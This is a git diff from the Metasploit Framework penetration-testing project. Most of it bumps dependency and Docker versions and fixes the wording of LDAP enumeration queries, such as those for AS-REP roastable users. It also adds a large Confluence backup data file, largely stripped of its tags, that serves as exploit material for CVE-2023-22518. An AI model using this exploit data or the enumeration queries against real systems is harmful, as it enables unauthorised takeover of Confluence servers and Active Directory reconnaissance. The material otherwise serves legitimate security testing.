diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml index 606c679e49..4db1294239 100644 --- a/.github/workflows/verify.yml +++ b/.github/workflows/verify.yml @@ -67,7 +67,7 @@ jobs: - '3.0' - '3.1' - '3.2' - - '3.3.0-preview2' + - '3.3.0-preview3' os: - ubuntu-20.04 - ubuntu-latest diff --git a/Dockerfile b/Dockerfile index 92da740834..cc8e32de68 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM ruby:3.0.5-alpine3.15 AS builder +FROM ruby:3.1.4-alpine3.18 AS builder LABEL maintainer="Rapid7" ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'" @@ -49,8 +49,9 @@ RUN mkdir -p $TOOLS_HOME/bin && \ cd go/src && \ ./make.bash -FROM ruby:3.0.5-alpine3.15 +FROM ruby:3.1.4-alpine3.18 LABEL maintainer="Rapid7" +ARG TARGETARCH ENV APP_HOME=/usr/src/metasploit-framework ENV TOOLS_HOME=/usr/src/tools @@ -62,7 +63,13 @@ RUN addgroup -S $METASPLOIT_GROUP RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \ postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \ - openssl-dev nasm mingw-w64-gcc + openssl-dev nasm +RUN\ + if [ "${TARGETARCH}" = "arm64" ];\ + then apk add --no-cache gcc musl-dev python3-dev libffi-dev gcompat;\ + else apk add --no-cache mingw-w64-gcc;\ + fi + RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby) RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap) diff --git a/Gemfile.lock b/Gemfile.lock index 364bfdcdf3..e89b48eb1a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.3.41) + metasploit-framework (6.3.49) actionpack (~> 7.0.0) activerecord (~> 7.0.0) activesupport (~> 7.0.0) @@ -33,7 +33,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.156) + metasploit-payloads (= 2.0.161) metasploit_data_models metasploit_payloads-mettle (= 1.0.26) mqtt @@ -80,7 +80,7 @@ PATH rex-zip ruby-macho ruby-mysql - ruby_smb (~> 3.2.0) + ruby_smb (~> 3.3.0) rubyntlm rubyzip sinatra @@ -278,7 +278,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.156) + metasploit-payloads (2.0.161) metasploit_data_models (6.0.3) activerecord (~> 7.0) activesupport (~> 7.0) @@ -418,7 +418,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.54) + rex-socket (0.1.55) rex-core rex-sslscan (0.1.10) rex-core @@ -473,7 +473,7 @@ GEM ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.2.5) + ruby_smb (3.3.1) bindata openssl-ccm openssl-cmac diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 4e5ca66fba..6f64753fdb 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -80,9 +80,9 @@ memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.2, "New BSD" metasploit-credential, 6.0.6, "New BSD" -metasploit-framework, 6.3.41, "New BSD" +metasploit-framework, 6.3.49, "New BSD" metasploit-model, 5.0.2, "New BSD" -metasploit-payloads, 2.0.156, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.161, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.3, "New BSD" metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT @@ -149,7 +149,7 @@ rex-powershell, 0.1.99, "New BSD" rex-random_identifier, 0.1.11, "New BSD" rex-registry, 0.1.5, "New BSD" rex-rop_builder, 0.1.5, "New BSD" -rex-socket, 0.1.54, "New BSD" +rex-socket, 0.1.55, "New BSD" rex-sslscan, 0.1.10, "New BSD" rex-struct2, 0.1.4, "New BSD" rex-text, 0.2.53, "New BSD" @@ -171,7 +171,7 @@ ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.13.0, MIT ruby-rc4, 0.1.5, MIT ruby2_keywords, 0.0.5, "ruby, Simplified BSD" -ruby_smb, 3.2.5, "New BSD" +ruby_smb, 3.3.1, "New BSD" rubyntlm, 0.6.3, MIT rubyzip, 2.3.2, "Simplified BSD" sawyer, 0.9.2, MIT diff --git a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml index 483ec73522..767ac1951d 100644 --- a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml +++ b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml @@ -135,7 +135,7 @@ queries: - https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/ - https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py - action: ENUM_DNS_ZONES - description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.' + description: 'Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries.' filter: '(objectClass=dnsZone)' base_dn_prefix: 'DC=DomainDnsZones' attributes: @@ -292,7 +292,7 @@ queries: references: - http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm - action: ENUM_UNCONSTRAINED_DELEGATION - description: 'Dump info about all known objects that allow uncontrained delegation.' + description: 'Dump info about all known objects that allow unconstrained delegation.' filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)' attributes: - cn @@ -325,7 +325,7 @@ queries: references: - https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties - action: ENUM_USER_ASREP_ROASTABLE - description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.' + description: 'Dump all users who are configured not to require kerberos pre-authentication, i.e. AS-REP roastable.' filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' attributes: - cn diff --git a/data/exploits/CVE-2023-22518/entities.xml b/data/exploits/CVE-2023-22518/entities.xml new file mode 100644 index 0000000000..b206e1f35f --- /dev/null +++ b/data/exploits/CVE-2023-22518/entities.xml @@ -0,0 +1,4685 @@ + + + +196658 + + + + +98332 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196654 + + + + +98332 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196655 + + + + +98332 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196656 + + + + +98332 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196657 + + + + +98332 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196650 + + + + +98322 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196651 + + + + +98322 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196652 + + + + +98322 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196653 + + + + +98322 + + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +196646 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196647 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196648 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196649 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196642 + + + + +98317 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196643 + + + + +98317 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196644 + + + + +98314 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196645 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196638 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196639 + + + + +98317 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196640 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196641 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196634 + + + + +98321 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196635 + + + + +98321 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196636 + + + + +98321 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196637 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196630 + + + + +98320 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196631 + + + + +98318 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196632 + + + + +98318 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196633 + + + + +98321 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196626 + + + + +98305 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196627 + + + + +98318 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196628 + + + + +98321 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196629 + + + + +98318 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196622 + + + + +98305 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196623 + + + + +98305 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +196624 + + + + +98319 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262272 + +1 + + +196625 + + + + +98320 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262271 + +14 + + +196618 + + + + +98305 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262270 + + + +196619 + + + + +98306 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262269 + +9061 + + +196620 + + + + +98306 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262268 + + + + +196621 + + + + +98320 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262267 + +0 + + +196614 + + + + +98306 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262266 + +1 + + +196615 + + + + +98305 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262265 + + + + +196616 + + + + +98317 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262264 + +9592 + + +196617 + + + + +98306 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262263 + + + + +196610 + + + + +98314 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262262 + + + + +196611 + + + + +98314 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262261 + + + + +196612 + + + + +98314 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262260 + +0 + + +196613 + + + + +98314 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262259 + +34478 + + +262258 + + + + +262257 + +0 + + +262256 + +6988 + + +196609 + + + + +98314 + +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +262255 + +0 + + +262254 + + + + +262253 + +88136 + + +262252 + + + + +262251 + +0 + + +262250 + +2144 + + +262249 + + + + +262248 + +1 + + +262247 + +109868 + + +262246 + +0 + + +262245 + +0 + + +262244 + + + + +262243 + + + + +262242 + +0 + + +262241 + +0 + + +262240 + + + + +262239 + +47510 + + +262238 + +3070 + + +262237 + +0 + + +262236 + +0 + + +262235 + +0 + + +262234 + +15296 + + +262233 + +2131 + + +262232 + +9446 + + +262231 + +0 + + +262230 + + + + +262229 + +2398 + + +262228 + +0 + + +262227 + +1 + + +262226 + + + + +262225 + + + + +262224 + +0 + + +262223 + +0 + + +262222 + +1 + + +262221 + + + + +262220 + +0 + + +262219 + +7054 + + +262218 + +0 + + +262217 + +0 + + +262216 + +0 + + +262215 + +12098 + + +262214 + +27998 + + +262213 + +41645 + + +262212 + +0 + + +262211 + +1 + + +262210 + + + + +262209 + +1 + + +262208 + + + + +262207 + +264209 + + +262206 + + + + +262205 + + + + +262204 + +2398 + + +262203 + +0 + + +262202 + +0 + + +262201 + +1 + + +262200 + +8 + + +262199 + +1 + + +262198 + +21488 + + +262197 + + + +262196 + +0 + + +262195 + + + + +262194 + + + + +262193 + + + + +262192 + + + + +262191 + + + + +262190 + + + + +262189 + + + + +262188 + + + + +262187 + + + + +262186 + + + + +262185 + + + + +262184 + + + + +262183 + +1 + + +262182 + + + +262181 + + + + +262180 + + + + +262179 + + + + +262178 + + + + +262177 + + + + +262176 + + + + +262175 + + + + +262174 + + + + +262173 + + + + +262172 + + + + +262171 + + + + +262170 + + + + +262169 + + + + +262168 + + + + +262167 + +9 + + +262166 + +8 + + +262165 + + + +262164 + +4 + + +262163 + +1 + + +262162 + +12 + + +262161 + + + +262160 + + + +262159 + + + + +262158 + +1 + + +262157 + + + + +262156 + + + +262155 + +3 + + +262154 + +5 + + +262153 + +6 + + +262152 + + + +262151 + +7 + + +262150 + + + + +262149 + +14 + + +262148 + + + + +262147 + + + + +262146 + + + + +262145 + + + + + + + + +622593 + +1699509859137 + + + +557060 +491521 + +360449 + + + + + + +557059 +491521 + +360449 + + + + + + +557058 +491521 + +360449 + + + + + + +557057 +491521 + +360449 + + + + + + +98306 +37 + + +163845 + + +196614 + +196617 + +196619 + +196620 + + +262151 + +262165 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.780 + + +98343 + + +131073 + +8 +98319 + +98319 + + + + +98305 +24 + + +163847 + + +196615 + +196618 + +196622 + +196623 + +196626 + + +262161 + +262164 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.784 + + +98344 + + +131073 + +7 +98319 + +98319 + + + + +98310 +11 +262180 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.788 + + +131073 + +98319 + +98319 + + + + +98309 +11 +262186 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.792 + + +131073 + +98319 + +98319 + + + + +98308 +16 +262174 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.804 + + +131073 + +98319 + +98319 + + + + +98307 +16 +262176 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.879 + + +131073 + +98319 + +98319 + + + + +491521 + + +true +2023-11-09 06:04:18.716 +2023-11-09 06:04:18.716 + + + + + + + + + +360449 + + + +524289 + + +557058 + +557060 + +557057 + +557059 + + + + +98330 +14 +262172 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.895 + + +131073 + +98319 + +98319 + + + + +98341 +18 + + +262254 + +262255 + +262256 + +262260 + + +3 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98332 + +131073 + + + +98329 +14 +262170 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.903 + + +131073 + +98319 + +98319 + + + + +98342 +18 + + +262204 + +262223 + +262230 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98318 + +131073 + + + +98328 +10 +262187 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.909 + + +131073 + +98319 + +98319 + + + + +98339 +16 + + +262209 + +262212 + +262213 + +262243 + + +2 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98322 + +131073 + + + +98327 +13 +262190 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.915 + + +131073 + +98319 + +98319 + + + + +98340 +19 + + +262211 + +262214 + +262224 + +262244 + + +2 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98321 + +131073 + + + +98334 +14 +262169 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.921 + + +131073 + +98319 + +98319 + + + + +98345 +17 + + +262226 + +262229 + +262242 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98317 + +131073 + + + +98333 +13 +262192 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:51.927 + + +131073 + +98319 + +98319 + + + + +98346 +19 + + +262222 + +262239 + +262240 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98318 + +131073 + + + +98332 +71 + + +163846 + + +196654 + +196655 + +196656 + +196657 + +196658 + + +262149 + +262152 + + +1 +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:51.989 + + +98341 + +98351 + +98354 + + +131073 + +4 +98319 + +98319 + + + + +98343 +18 + + +262246 + +262247 + +262248 + +262265 + + +3 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98306 + +131073 + + + +98331 +10 +262189 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.025 + + +131073 + +98319 + +98319 + + + + +98344 +17 + + +262227 + +262228 + +262258 + +262259 + + +2 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98305 + +131073 + + + +98336 +10 +262188 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.030 + + +131073 + +98319 + +98319 + + + + +98335 +12 +262195 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.033 + + +131073 + +98319 + +98319 + + + + +98337 +17 + + +262236 + +262249 + +262250 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98317 + +131073 + + + +98338 +18 + + +262235 + +262238 + +262262 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98319 + +131073 + + + +98314 +37 + + +163844 + + +196609 + +196610 + +196611 + +196612 + +196613 + +196644 + + +262150 + +262167 + +262185 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.044 + + +131073 + +6 +98319 + +98319 + + + + +524289 +491521 + + + + +98313 +13 +262191 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.049 + + +131073 + +98319 + +98319 + + + + +98312 +14 +262193 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.053 + + +131073 + +98319 + +98319 + + + + +98311 +16 +262177 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.056 + + +131073 + +98319 + +98319 + + + + +98318 +42 + + +163850 + + +196627 + +196629 + +196631 + +196632 + + +262160 + +262162 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.061 + + +98342 + +98346 + +98350 + +98352 + + +131073 + +3 +98319 + +98319 + + + + +98317 +28 + + +163841 + + +196616 + +196639 + +196642 + +196643 + + +262154 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.065 + + +98337 + +98345 + +98347 + +98349 + + +131073 + +2 +98319 + +98319 + + + + +98316 +16 +262173 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.071 + + +131073 + +98319 + +98319 + + + + +98315 +5 +262159 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.074 + + +131073 + +98319 + +98319 + + + + +98322 +53 + + +163849 + + +196650 + +196651 + +196652 + +196653 + + +262166 + +262182 + + +1 +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:52.078 + + +98339 + +98355 + +98356 + + +131073 + +1 +98319 + +98319 + + + + +98321 +38 + + +163848 + + +196628 + +196633 + +196634 + +196635 + +196636 + + +262153 + +262156 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.083 + + +98340 + +98348 + +98353 + + +131073 + +5 +98319 + +98319 + + + + +98320 +24 + + +163843 + + +196621 + +196625 + +196630 + + +262155 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.086 + + +131073 + +0 +98319 + +98319 + + + + +98319 +30 + + +163842 + + +196624 + +196637 + +196638 + +196640 + +196641 + +196645 + +196646 + +196647 + +196648 + +196649 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.089 + + +98338 + + +131073 + +8 +98305 + +98306 + +98314 + +98317 + +98318 + +98320 + +98321 + +98322 + +98332 + + + + +98326 +13 +262194 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.093 + + +131073 + +98319 + +98319 + + + + +98325 +10 +262181 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.096 + + +131073 + +98319 + +98319 + + + + +98324 +10 +262179 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.100 + + +131073 + +98319 + +98319 + + + + +98323 +7 +262157 + +262158 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:52.104 + + +131073 + +98319 + +98319 + + + + +98357 +17 +163851 + + +1 +2020-04-14 11:55:11.912 +2023-11-09 06:03:45.265 + + +131073 + + + +589826 +425985 + +491521 + + + +589825 +425986 + +491521 + + + +98359 +1 +1 +2023-11-09 06:04:19.475 +2023-11-09 06:04:19.475 + + + + +98358 +1 +1 +2023-11-09 06:04:18.930 +2023-11-09 06:04:18.930 + + + + + + +425986 + + +true +false +2023-11-09 06:04:18.320 +2023-11-09 06:04:18.320 +GROUP +360449 + + + +425985 + + +true +false +2023-11-09 06:04:18.284 +2023-11-09 06:04:18.284 +GROUP +360449 + + + +32802 + + +2]]> + + +32803 + + +1]]> + + +32800 + + +1]]> + + +32801 + + +3]]> + + +32798 + + +3]]> + + +32799 + + +false]]> + + +32796 + + +1]]> + + +32797 + + +3]]> + + +32794 + + +P3Y]]> + + +32795 + + +1312121002]]> + + +32792 + + +{"pluginVersionLastChecked":"3.4.6","outdated":true,"upgradeBy":null,"timestamp":1699509836998}]]> + + +32793 + + +2]]> + + +32790 + + +3]]> + + +32791 + + + + a051f6a2-cf76-4d3d-999d-ccfffe5e65d3 + 2023-11-09T06:03:55.369232Z + 2023-11-09T06:03:59.229997Z + COMPLETE + false + + 54 + 54 + + 2023-11-09T06:03:58.418741Z + +]]> + + +32788 + + + + + + property.style.topbarmenuselectedbgcolour + #336699 + + + property.style.menuselectedbgcolour + #6699cc + + + property.style.navtextcolour + #ffffff + + + property.style.bordercolour + #6699cc + + + property.style.navselectedtextcolour + #ffffff + + + property.style.breadcrumbstextcolour + #ffffff + + + property.style.topbarcolour + #003366 + + + property.style.navselectedbgcolour + #003366 + + + property.style.linkcolour + #326ca6 + + + property.style.navbgcolour + #6699cc + + + property.style.menuitemselectedtextcolour + #ffffff + + + property.style.menuitemselectedbgcolour + #6699cc + + + property.style.headingtextcolour + #000000 + + + property.style.spacenamecolour + #999999 + + + property.style.menuitemtextcolour + #535353 + + + property.style.topbarmenuitemtextcolour + #326ca6 + + +]]> + + +32789 + + +2023-11-09T06:03:52.619272Z]]> + + +32818 + + +true]]> + + +32819 + + +1699509861003]]> + + +32816 + + +true]]> + + +32817 + + + + {"userKey":"Confluence","date":1699509860734,"i18nKey":"upm.auditLog.upm.startup","entryType":"UPM_STARTUP","params":[]} +]]> + + +32814 + + +102be6f5-2e40-4d37-bd5e-e52aef8f80fb]]> + + +32815 + + +BNRR-EUMS-GPB5-FJVB]]> + + +32812 + + +5]]> + + +32813 + + +2]]> + + +32810 + + +NONE]]> + + +32811 + + +true]]> + + +32808 + + +5]]> + + +32809 + + +6]]> + + +393217 +327681 + +360449 + +true +UPDATE_GROUP_ATTRIBUTE +CREATE_ROLE +DELETE_USER +UPDATE_ROLE_ATTRIBUTE +UPDATE_USER +UPDATE_USER_ATTRIBUTE +UPDATE_GROUP +CREATE_USER +DELETE_ROLE +CREATE_GROUP +DELETE_GROUP +UPDATE_ROLE + + + +32806 + + +1]]> + + +32807 + + +6]]> + + +32804 + + +1]]> + + +32805 + + +true]]> + + +32770 + + +2023-11-09 06:02:30.133 UTC]]> + + +32771 + + + + false + false + false + true + false + true + false + false + true + false + false + false + true + true + false + false + false + true + false + true + false + false + + false + false + + registered + + + + + + + + custom + + + true + 3 + + + 10000 + 10000 + true + + 104857600 + 3 + Years + 30000 + 5 + Confluence + http://docs.atlassian.com/confluence/docs-{0}/{1} + true + email.address.public + UTF-8 + 300 + 300 + true + true + /var/atlassian/application-data/confluence/backups + true + english + en_GB + backup- + yyyy_MM_dd + confluence-autosupportrequests@atlassian.com + Home + http://nessus-docker.local:8090 + file.system.based.attachments.storage + false + true + true + 10 + true + confluence-users + smart + true + false + true + true + 1 + false + false + 0 + false + 40 + 200 + 60 + 120 +]]> + + +32769 + + +BNRR-EUMS-GPB5-FJVB]]> + + +32786 + + + + ds + false + + global + + false +]]> + + +32787 + + +page-tree]]> + + +32784 + + + + + theme.key + + +]]> + + +32785 + + +4]]> + + +32782 + + +2]]> + + +32783 + + +DEMO]]> + + +32780 + + +20]]> + + +32781 + + + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-trashed-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-inline-tasks:task-email-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-trashed-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.share-page:share-page-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-moved-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-body + true + + + com.atlassian.confluence.plugins.synchrony-interop + true + + + com.atlassian.confluence.plugins.confluence-request-access-plugin:request-access-notification-email-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-hipchat-integration-plugin + false + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-onboarding:notification-template-less-users-body + true + + + com.atlassian.plugins.base-hipchat-integration-plugin-api + false + + + com.atlassian.confluence.plugins.confluence-file-notifications:file-content-update-email-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-onboarding:notification-template-no-spaces-body + true + + + com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin + true + + + com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-hipchat-notification-template-body + true + + + com.atlassian.plugins.base-hipchat-integration-plugin + false + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-new-mail-body + true + + + com.atlassian.confluence.plugins.confluence-notifications-batch-plugin:batching-notification-template-body + true + + + com.atlassian.confluence.plugins.share-page:share-attachment-email-notification-template-body + true + + + com.atlassian.confluence.plugins.share-page:share-draft-email-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-resolve-body + true + + + com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-reply-body + true + + + com.atlassian.confluence.plugins.confluence-inline-tasks:task-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-hipchat-emoticons-plugin + false + + + com.atlassian.confluence.plugins.share-page:share-page-email-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-hipchat-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-content-notifications-plugin:forgot-password-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-file-notifications:file-content-remove-email-notification-template-body + true + + + com.atlassian.confluence.plugins.confluence-request-access-plugin:grant-access-notification-email-template-body + true + + + com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-hipchat-body + true + + + com.atlassian.labs.hipchat.confluence-hipchat + false + +]]> + + +32778 + + +8]]> + + +32779 + + +4]]> + + +32776 + + +1]]> + + +32777 + + + + + 7.19.12 + 2023-11-09T06:02:36.753Z + +]]> + + +32774 + + +1]]> + + + + + + +32775 + + +1]]> + + +32772 + + +d32aafab-7f6d-4630-a017-f69b71948e20]]> + + +32773 + + +1699509752102]]> + + +32866 + + + + true + + +]]> + + +32867 + + + + true + + +]]> + + +32864 + + + + true + + +]]> + + +32865 + + + + true + + +]]> + + +32862 + + + + true + + +]]> + + +32863 + + + + true + + +]]> + + +32860 + + + + true + + +]]> + + +32861 + + + + false + + +]]> + + +32858 + + + + true + + +]]> + + +32859 + + + + true + + +]]> + + +32856 + + + + true + + +]]> + + +32857 + + + + true + + +]]> + + +32854 + + + + true + + +]]> + + +32855 + + + + true + + +]]> + + +32852 + + + + true + + +]]> + + +32853 + + + + false + + +]]> + + +32882 + + + + true + + +]]> + + +32883 + + + + true + + +]]> + + +32880 + + + + true + + +]]> + + +98355 +3 + + +262201 + +262203 + +262205 + +262207 + + +1 + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +98322 